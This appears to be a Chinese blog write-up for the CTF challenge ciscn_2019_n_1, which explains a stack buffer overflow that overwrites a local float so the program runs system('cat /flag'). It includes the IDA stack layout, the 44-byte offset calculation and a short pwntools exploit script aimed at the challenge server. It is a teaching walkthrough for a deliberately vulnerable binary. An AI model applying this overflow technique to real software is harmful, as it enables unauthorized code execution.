ciscn_2019_n_1 1(栈溢出,变量覆盖)

题目

在这里插入图片描述

做法

开虚拟机,扔进去checksec
在这里插入图片描述
64位,还是没有开栈保护
扔进IDA(64位),找到main,F5反编译
在这里插入图片描述
都点一下,感觉没啥东西
然后我们点到func的时候
在这里插入图片描述
我们看到了熟悉的gets函数还有system("cat /flag")
这里,我们对这个程序进行栈溢出,在v1到v2间塞入字节数据,然后让v2=11.28125,我们就可以得到flag
我们点进gets函数括号中的v1,v1对应的是var_30,v2对应var_4
完整代码如下

-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N       : rename
-0000000000000030 ; U       : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30          db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

v1到v2的大小为3*16-4=44,这就是我们要输入的字节数据大小
(补充:db是1个字节,dd是4个字节,dq是8个字节)
然后我们找一个可以把浮点数换成16进制数的网址(要统一进制)
这里给出一个网址(是否有病毒等风险自辨,资源来自互联网)
链接: 进制转换网址
我们把11.28125换成16进制数,即是41348000(注意去掉数字间的空格)
在这里插入图片描述
我们编写exp
在这里插入图片描述
代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",26405)

#定义 payload
payload = b'a' * 44+ p64(0x41348000)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

然后常规,得出flag
在这里插入图片描述

更新

于2025.4.7

posted @ 2025-04-07 21:23  Snk0xHeart  阅读(78)  评论(0)    收藏  举报
div#top_nav { display:none } div#bannerbar {display: none;} .noShow{display:none!important} #thumsCanvas { position: absolute; }